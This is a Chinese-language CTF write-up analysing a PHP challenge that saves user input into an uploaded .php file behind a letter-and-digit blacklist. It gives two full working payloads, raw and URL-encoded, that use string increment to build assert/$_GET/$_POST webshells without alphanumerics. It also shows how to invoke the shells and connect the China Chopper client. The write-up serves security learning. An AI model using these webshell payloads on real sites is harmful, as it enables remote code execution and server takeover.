这篇文章在写的时候我查阅了许多资料也参考了很多师傅的博客,尽我所能的搞懂这个知识点以及要完成这个操作所需要的相关知识。在搞明白以后,回过头来看,其实也没有当初那样晦涩难懂,只是初学起来会因为知识储备不够而走入思维的误区。
网上也有很多的相关资料,但我还是想把这篇文章分享出来,并不是因为我总结的有多好,见解有多深刻,而是每个人在遇到这个问题的时候思维不一样,知识储备不一样,走入的误区也不一样。自己做记录的同时,也希望帮助其他的伙伴。
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++ ) { //注意:原代码中这个地方是id+,应为笔误,测试中i++才是对的
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '.$data)){
echo "WebShell";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
首先对代码逻辑进行分析:
本题代码相对来说较多,我选择的方法是先分块后分析,在这里分了四块
第一块:
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
以get的方法传参入一个参数c
第二块:
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++ ) { //注意:原代码中这个地方是id+,应为笔误,测试中i++才是对的
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
生成一个包含数字和字母的随机数
第三块:
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
把传入c的值赋值给data,检查传入的值是否包含black_list中的字符。换句话说,第三块设置了一个WAF,过滤其中的字符,通过get传入的参数c不能包含其中的字符(不能包含数字字母和一些其他符号),否则将会被拦截。
第四块:
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '.$data)){ //file_put_contents() 函数把一个字符串写入文件中。
echo "WebShell";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
设置上传文件的文件名(第二部分生成的随机值)和文件目录,并把传入c的值存入文件中,这一步把我们自己传入的参数写到他自己生成的文件中,就要考虑如何给他往里面写点咱们能利用的东西。
把这四块合起来说:
分析完代码逻辑发现,接下来最主要的问题就是如何绕过限制字符,把我们可以利用的值存入文件中,并成功利用。
在这里通过查阅资料发现,目前解决不包含字母和数字的webshell大体归为三类:
在本题中给出的两种payload都是基于第二种方法的,因为题目WAF做了太多的限制,利用自增这个方法比较直观减少盲目。
第一种方法:先构造上传文件,在往文件中写一句话(木马)
第一步:得到KaTeX parse error: Expected group after '_' at position 7: _GET['_̲'](_GET[’__’])
$_=[].[]; //俩数组拼接强行返回ArrayArray,这里一个短杠的值也就是ArrayArray
$__=''; //两个短杠赋值为空
$_=$_[''];//从arrayarray中取首字符,即a。这里$_=$_[0]也是一样的道理,不过waf限制数字输入
$_=++$_; //b
$_=++$_; //c
$_=++$_; //d
$_=++$_; //e
$__.=$_; //E 把两个短杠赋值为E
$_=++$_; //F 一个短杠继续自增
$_=++$_; //G
$__=$_.$__; // GE 一个短杠自增变成了G,两个短杠在前面第十一行处已经赋值为E,拼接得GE
$_=++$_; //H 此处一个短杠继续自增,为H
$_=++$_; //I
$_=++$_; //J
$_=++$_; //k
$_=++$_; //L
$_=++$_; //M
$_=++$_; //N
$_=++$_; //O
$_=++$_; //P
$_=++$_; //Q
$_=++$_; //R
$_=++$_; //S
$_=++$_; //T
$__.=$_; // GET 在此处,两条短杠原是GE与一条短杠(已经自增为T),.=拼接,构成get
${'_'.$__}[_](${'_'.$__}[__]); // 进行拼接,$_GET['_']($_GET['__']);
对上边代码在php中意思不明白的话可以自己运行var_dump()一下
.=
是字符串的连接,具体参看php语法。
在这里如果还不明白为什么要构造出$_GET['_']($_GET['__'])
继续往后看
由于+在传送中会被解释为空格,所以需要提前url编码为%2b,然后还需要去掉上面的这个webshell中的空格,换行。写入文件的payload如下:
?c=%24_%3d%5b%5d.%5b%5d%3b%24__%3d%27%27%3b%24_%3d%24_%5b%27%27%5d%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__%3d%24_.%24__%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24_%3d%2b%2b%24_%3b%24__.%3d%24_%3b%24%7b%27_%27.%24__%7d%5b_%5d(%24%7b%27_%27.%24__%7d%5b__%5d)%3b
url解码后原始写入文件payload:
?c=$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);
对写入文件payload的解释:
$_GET['_']($_GET['__'])
这个意思是函数名和函数的参数可控。
既然可控,那么前面_
可以取assert
,__
可以取$_POST
从而完成一句话的写入
(以前并没有遇到过这种写shell的方法,感谢1x2Bytes师傅给我讲明这种方法。我见识太浅了。)
步骤思路总结:
第一步:构造上传文件
首先看代码逻辑,代码逻辑是使用get的方法传入参数,并把参数保存在upload文件夹下的文件中,此时传入的就是$_GET['_']($_GET['__'])
,文件中写入的也就是$_GET['_']($_GET['__'])
到此第一步写入文件结束
第二步:传参准备连刀
因为第一步我们已经成功将$_GET['_']($_GET['__'])
写入到文件中,第二步就是传参,_=assert&__=eval("$_POST[c]")
,以get的方式传参,因为此时已经是在上传文件的目录下,所以就没有waf的防护。
连菜刀:
127.0.0.1/uploads/vVyyxGUTyFsL0tgdvmCjVkvRAehduvvQ.php?_=assert&__=eval("$_POST[c]")
成功getshell:
第二种方法:直接传参
$_='';$_[+$_]++;
$_=$_.''; //array
$__=$_[+'']; //a
$_ = $__; //a
$___=$_; //a
$__=$_; //a
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //s
$___.=$__; //两道杠经过自增到s,三道杠为a,.=为连接符,三道杠现在为as
$___.=$__; //两道杠经过自增到s,三道杠为as,.=为连接符,三道杠现在为ass
$__=$_; //两道杠还是a
$__++;$__++;$__++;$__++; //e
$___.=$__; //两道杠经过自增到e,三道杠为ass,.=为连接符,三道杠现在为asse
$__=$_; //两道杠还是a
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //r
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //t
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //p
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //o
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //s
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; //t
$____.=$__;
$_=$$____;
$___($_[_]);//$assert($post[_])
对上边代码在php中意思不明白的话可以自己运行var_dump()一下
上边代码中的换行是为了展示清晰换的行,在实际payload中并没有换行。同样由于+在传送中会被解释为空格,所以需要提前url编码为%2b
payload:
?c=$_='';$_[%2b$_]%2b%2b;$_=$_.'';$__=$_[%2b''];$_=$__;$___=$_;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$____='_';$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$_=$$____;$___($_["_"]);
解码后的payload其实是:
?c=$_='';$_[+$_]++;$_=$_.'';$__=$_[+''];$_=$__;$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
利用:
http://localhost/uploads/gWO6mgPDaZUvCt4TMXLnREks1pyh22mu.php
post:_=phpinfo
还可以直接连菜刀(此处感谢灵灵表哥点明低版本菜刀可以连这个一句话)
成功:
一开始连刀失败,post利用成功。我本以为$assert($post[_])
是个动态函数,不能连刀,请教灵灵表哥后知道,低版本(1.0)菜刀可以连这个一句话。
步骤思路总结:
至此,两种利用方法都成功的演示。